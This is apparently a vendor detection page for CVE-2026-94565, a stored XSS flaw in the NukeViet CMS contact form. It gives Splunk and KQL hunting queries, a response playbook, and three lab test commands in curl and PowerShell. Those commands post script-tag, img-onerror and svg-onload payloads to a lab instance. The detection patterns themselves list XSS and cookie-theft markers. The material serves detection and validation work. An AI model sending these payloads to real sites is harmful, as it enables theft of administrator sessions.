Detect CVE-2026-94565: NukeViet CMS Unauthenticated Stored XSS in Contact Module in Splunk
Detects exploitation of CVE-2026-94565, an unauthenticated stored cross-site scripting (XSS) vulnerability (CWE-79) in the Contact module of NukeViet CMS versions >= 3.0.0 and < 4.6.01. An unauthenticated attacker submits a contact form containing an unsanitized payload (e.g. in the name, subject, or message fields) that is stored and later rendered without encoding in the administrator's contact-management view, executing arbitrary JavaScript in the admin's session. CVSS 9.3. This detection surfaces POST requests to the contact submission endpoint carrying script/HTML-injection markers and subsequent admin-panel renders of stored contact entries. Fixed in NukeViet 4.6.01.
MITRE ATT&CK
- Tactic
- Initial Access
SPL Detection Query
``` df00tech DF00-381915f24d · https://df00tech.com/detections/CVE-2026-94565 · licence: https://df00tech.com/detections/licence ```
index=web (sourcetype="ms:iis" OR sourcetype="access_combined" OR sourcetype="nukeviet:access")
| where (like(lower(uri_path), "%contact%") OR like(lower(uri_query), "%contact%"))
| where method="POST"
| eval payload=lower(urldecode(coalesce(form_data, uri_query, _raw)))
| where match(payload, "(?i)(<script|javascript:|onerror=|onload=|onmouseover=|<svg|<img[^>]+on|document\.cookie|string\.fromcharcode|<iframe|%3cscript)")
| table _time, src_ip, method, uri_path, uri_query, http_referer, status, http_user_agent, host
| sort - _time Searches Splunk web access logs for POST submissions to the NukeViet contact endpoint containing stored-XSS injection markers for CVE-2026-94565.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Automated vulnerability scanners submitting XSS test payloads to the contact form.
- Users legitimately including HTML or code examples in a support/contact message.
- Authorized red-team or penetration-testing activity.
Other platforms for CVE-2026-94565
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Stored XSS submission via contact form (script tag)
Expected signal: Web-server access log shows a POST to the contact endpoint with a URL-encoded <script> payload in the request body.
- Test 2 Stored XSS submission via img onerror handler
Expected signal: Access log records a POST to the contact module containing an onerror= event-handler payload.
- Test 3 Stored XSS submission with SVG/entity-encoded payload (Windows)
Expected signal: IIS W3C log shows a POST to the contact endpoint with <svg/onload and %3cscript entity-encoded markers.
References (6)
- https://github.com/nukeviet/nukeviet/security/advisories/GHSA-662q-v5rm-78gm
- https://nvd.nist.gov/vuln/detail/CVE-2026-94565
- https://github.com/nukeviet/nukeviet/commit/ef90780e50d54384019a36aa2bcf9fd58776f698
- https://github.com/nukeviet/nukeviet/releases/tag/4.6.01
- https://nukeviet.vn/vi/news/Tin-tuc/thong-bao-phat-hanh-nukeviet-4-6-01-857.html
- https://github.com/advisories/GHSA-662q-v5rm-78gm
Response Playbook
Triage
- Confirm the running NukeViet version from the admin footer or /install/version.php; if it is >= 3.0.0 and < 4.6.01 the instance is vulnerable to CVE-2026-94565.
- Extract the full submitted payload from the flagged POST request body (name, subject, email, message fields) and decode any URL/HTML entity encoding to reveal the injected script.
- Determine whether the stored submission has already been viewed in the admin Contact-management panel (check admin access logs for the contact listing URL after the submission timestamp), which indicates the payload may have executed in an admin session.
- Identify the source IP, user-agent and geolocation of the submitter and correlate against known scanner or threat-intel infrastructure.
Containment
- Deploy a WAF rule to block contact-form POST bodies containing HTML/script markers until the instance is patched.
- Purge the malicious stored entry from the nv4_contact (or equivalent nv*_contact) database table so it cannot render in the admin panel again.
- Force-invalidate active administrator sessions and rotate admin credentials if evidence shows an admin viewed the payload (possible session-cookie theft).
Evidence Collection
- Preserve the raw web-server access/error logs and WAF logs covering the submission and any subsequent admin views.
- Export the offending row(s) from the contact database table with timestamps before deletion.
- Capture the admin browser/session logs and any outbound requests to attacker-controlled domains referenced in the payload (document.cookie exfiltration endpoints).
Escalation Criteria
- !Escalate to incident response if admin access logs confirm the stored payload was rendered in an authenticated admin session.
- !Escalate if the payload contains credential/cookie exfiltration to an external domain or evidence of follow-on admin-account compromise.
- !Escalate if multiple distinct malicious submissions or lateral movement from the web host are observed.
Investigation Guide
Forensic Artifacts
- >
Web-server access logs showing the POST to the contact endpoint with the injection payload. - >
Rows in the NukeViet contact database table (nv*_contact) containing unsanitized HTML/script. - >
Admin-panel access-log entries rendering the stored contact list after the malicious submission. - >
Outbound HTTP requests from admin browsers to attacker-controlled exfiltration domains.
Tuning Guidance
Baseline legitimate contact-form traffic first; if users routinely paste code snippets, narrow the pattern set to active-execution markers (<script, onerror=, javascript:, document.cookie) and drop broad tags like <img. Whitelist known scanner source IPs used by your own security team. Correlate submission events with subsequent admin-panel renders to prioritize payloads that actually executed, and raise severity to critical when an admin view is observed.
Hunting Queries
Hunt for repeated XSS-marker POST submissions to the NukeViet contact module grouped by source IP to find campaign-style probing of CVE-2026-94565.
// df00tech DF00-381915f24d · https://df00tech.com/detections/CVE-2026-94565 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csMethod=="POST" and csUriStem has "contact" | extend d=tolower(url_decode(csUriQuery)) | where d has_any("<script","onerror=","document.cookie","%3cscript") | summarize count() by cIP, bin(TimeGenerated, 1h) ``` df00tech DF00-381915f24d · https://df00tech.com/detections/CVE-2026-94565 · licence: https://df00tech.com/detections/licence ```
index=web method=POST (uri_path="*contact*") | eval p=lower(urldecode(_raw)) | search p="*<script*" OR p="*onerror=*" OR p="*document.cookie*" | stats count by src_ip, uri_path Atomic Red Team Tests
Submits a contact form POST with a classic script-tag payload to a lab NukeViet instance to validate detection of CVE-2026-94565.
Command
curl -s -X POST 'http://nukeviet.lab/index.php?nv=contact' --data-urlencode 'fullname=<script>alert(document.cookie)</script>' --data-urlencode '[email protected]' --data-urlencode 'subject=hello' --data-urlencode 'content=test message' Cleanup
mysql -u root nukeviet -e "DELETE FROM nv4_contact WHERE email='[email protected]';" Expected Telemetry
Web-server access log shows a POST to the contact endpoint with a URL-encoded <script> payload in the request body.
Expected Detection
KQL/SPL rules match on the <script and document.cookie markers in the decoded contact POST.
Submits an img-based onerror XSS payload to evade naive script-tag filters, testing CVE-2026-94565 detection coverage.
Command
curl -s -X POST 'http://nukeviet.lab/index.php?nv=contact' --data-urlencode 'fullname=<img src=x onerror=alert(1)>' --data-urlencode '[email protected]' --data-urlencode 'subject=hi' --data-urlencode 'content=payload' Cleanup
mysql -u root nukeviet -e "DELETE FROM nv4_contact WHERE email='[email protected]';" Expected Telemetry
Access log records a POST to the contact module containing an onerror= event-handler payload.
Expected Detection
Detection matches on the onerror= and <img markers in the contact submission.
From a Windows host, submits an SVG and HTML-entity-encoded XSS payload to validate decoding and detection for CVE-2026-94565.
Command
powershell -c "Invoke-WebRequest -Uri 'http://nukeviet.lab/index.php?nv=contact' -Method POST -Body @{fullname='<svg/onload=alert(1)>';email='[email protected]';subject='%3cscript%3ealert(1)%3c/script%3e';content='x'}" Cleanup
powershell -c "Invoke-WebRequest -Uri 'http://nukeviet.lab/admin/index.php?nv=contact&op=delete&[email protected]'" Expected Telemetry
IIS W3C log shows a POST to the contact endpoint with <svg/onload and %3cscript entity-encoded markers.
Expected Detection
Detection matches after URL-decoding on the <svg, onload, and %3cscript markers.